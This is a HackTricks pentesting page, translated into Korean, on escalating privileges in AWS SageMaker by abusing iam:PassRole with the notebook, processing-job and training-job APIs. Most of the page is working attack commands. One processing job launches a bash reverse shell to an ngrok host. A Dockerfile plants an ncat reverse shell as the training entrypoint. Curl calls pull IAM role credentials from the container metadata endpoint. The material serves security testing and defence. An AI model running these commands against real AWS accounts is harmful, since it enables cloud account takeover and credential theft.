AWS - Sagemaker Privesc

AWS - Sagemaker Privesc

Support HackTricks

iam:PassRole , sagemaker:CreateNotebookInstance, sagemaker:CreatePresignedNotebookInstanceUrl

IAM 역할을 사용하여 연결된 노트북을 생성하기 시작합니다:

aws sagemaker create-notebook-instance --notebook-instance-name example \
--instance-type ml.t2.medium \
--role-arn arn:aws:iam::<account-id>:role/service-role/<role-name>

응답에는 새로 생성된 노트북 인스턴스의 ARN을 포함하는 NotebookInstanceArn 필드가 포함되어야 합니다. 그런 다음 create-presigned-notebook-instance-url API를 사용하여 노트북 인스턴스가 준비되면 액세스하는 데 사용할 수 있는 URL을 생성할 수 있습니다:

aws sagemaker create-presigned-notebook-instance-url \
--notebook-instance-name <name>

브라우저로 URL에 접속하고 오른쪽 상단의 `Open JupyterLab`을 클릭한 다음, “Launcher” 탭으로 스크롤하여 “Other” 섹션 아래의 “Terminal” 버튼을 클릭합니다.

이제 IAM 역할의 메타데이터 자격 증명에 접근할 수 있습니다.

잠재적 영향: 지정된 sagemaker 서비스 역할로의 권한 상승.

sagemaker:CreatePresignedNotebookInstanceUrl

Jupyter 노트북이 이미 실행 중인 경우 sagemaker:ListNotebookInstances로 목록을 나열할 수 있습니다(또는 다른 방법으로 발견할 수 있습니다). 그에 대한 URL을 생성하고, 접근하여 이전 기술에서 언급한 대로 자격 증명을 훔칠 수 있습니다.

aws sagemaker create-presigned-notebook-instance-url --notebook-instance-name <name>

잠재적 영향: 연결된 sagemaker 서비스 역할로의 권한 상승.

sagemaker:CreateProcessingJob,iam:PassRole

해당 권한을 가진 공격자는 sagemaker가 처리 작업을 실행하도록 할 수 있습니다. 공격자는 AWS 관리 ECS 계정 인스턴스에서 실행될 컨테이너의 정의를 지정할 수 있으며, 연결된 IAM 역할의 자격 증명을 훔칠 수 있습니다.

# I uploaded a python docker image to the ECR
aws sagemaker create-processing-job \
--processing-job-name privescjob \
--processing-resources '{"ClusterConfig": {"InstanceCount": 1,"InstanceType": "ml.t3.medium","VolumeSizeInGB": 50}}' \
--app-specification "{\"ImageUri\":\"<id>.dkr.ecr.eu-west-1.amazonaws.com/python\",\"ContainerEntrypoint\":[\"sh\", \"-c\"],\"ContainerArguments\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/14920 0>&1\\\"\"]}" \
--role-arn <sagemaker-arn-role>

# In my tests it took 10min to receive the shell
curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" #To get the creds

잠재적 영향: 지정된 sagemaker 서비스 역할로의 권한 상승.

sagemaker:CreateTrainingJob, iam:PassRole

해당 권한을 가진 공격자는 훈련 작업을 생성할 수 있으며, 임의의 컨테이너를 실행하고 역할을 첨부할 수 있습니다. 따라서 공격자는 역할의 자격 증명을 훔칠 수 있습니다.

이 시나리오는 이전 것보다 악용하기 더 어렵습니다. 왜냐하면 rev shell 또는 자격 증명을 공격자에게 직접 전송할 Docker 이미지를 생성해야 하기 때문입니다(훈련 작업의 구성에서 시작 명령을 지정할 수 없습니다).

# Create docker image
mkdir /tmp/rev
## Note that the trainning job is going to call an executable called "train"
## That's why I'm putting the rev shell in /bin/train
## Set the values of <YOUR-IP-OR-DOMAIN> and <YOUR-PORT>
cat > /tmp/rev/Dockerfile <<EOF
FROM ubuntu
RUN apt update && apt install -y ncat curl
RUN printf '#!/bin/bash\nncat <YOUR-IP-OR-DOMAIN> <YOUR-PORT> -e /bin/sh' > /bin/train
RUN chmod +x /bin/train
CMD ncat <YOUR-IP-OR-DOMAIN> <YOUR-PORT> -e /bin/sh
EOF

cd /tmp/rev
sudo docker build . -t reverseshell

# Upload it to ECR
sudo docker login -u AWS -p $(aws ecr get-login-password --region <region>) <id>.dkr.ecr.<region>.amazonaws.com/<repo>
sudo docker tag reverseshell:latest <account_id>.dkr.ecr.<region>.amazonaws.com/reverseshell:latest
sudo docker push <account_id>.dkr.ecr.<region>.amazonaws.com/reverseshell:latest
# Create trainning job with the docker image created
aws sagemaker create-training-job \
--training-job-name privescjob \
--resource-config '{"InstanceCount": 1,"InstanceType": "ml.m4.4xlarge","VolumeSizeInGB": 50}' \
--algorithm-specification '{"TrainingImage":"<account_id>.dkr.ecr.<region>.amazonaws.com/reverseshell", "TrainingInputMode": "Pipe"}' \
--role-arn <role-arn> \
--output-data-config '{"S3OutputPath": "s3://<bucket>"}' \
--stopping-condition '{"MaxRuntimeInSeconds": 600}'

#To get the creds
curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"
## Creds env var value example:/v2/credentials/proxy-f00b92a68b7de043f800bd0cca4d3f84517a19c52b3dd1a54a37c1eca040af38-customer

잠재적 영향: 지정된 sagemaker 서비스 역할로의 권한 상승.

sagemaker:CreateHyperParameterTuningJob, iam:PassRole

해당 권한을 가진 공격자는 (잠재적으로) 하이퍼파라미터 훈련 작업을 생성할 수 있으며, 임의의 컨테이너를 실행하고 연결된 역할을 부여할 수 있습니다. 시간 부족으로 인해 활용하지 않았지만, 이전의 익스플로잇과 유사해 보입니다. 익스플로잇 세부정보와 함께 PR을 보내주시면 좋겠습니다.

참고자료

HackTricks 지원하기

Last updated